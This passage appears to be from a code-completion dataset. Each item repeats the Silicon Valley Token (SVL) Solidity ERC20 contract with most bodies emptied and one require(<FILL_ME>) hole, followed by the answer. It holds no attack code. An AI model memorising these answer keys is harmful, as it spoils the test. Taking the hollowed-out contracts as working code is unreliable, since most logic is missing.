returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
require(<FILL_ME>)
_;
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| (_level>Level.ZERO)&&(Level.DAPP>=_level) | 325,907 | (_level>Level.ZERO)&&(Level.DAPP>=_level) |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
require(<FILL_ME>)
_;
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| balances[_to]<=balances[_to].add(_value) | 325,907 | balances[_to]<=balances[_to].add(_value) |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
require(<FILL_ME>)
_;
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| frozeds[msg.sender]==false||freezeEnabled==false | 325,907 | frozeds[msg.sender]==false||freezeEnabled==false |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
require(<FILL_ME>)
_;
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
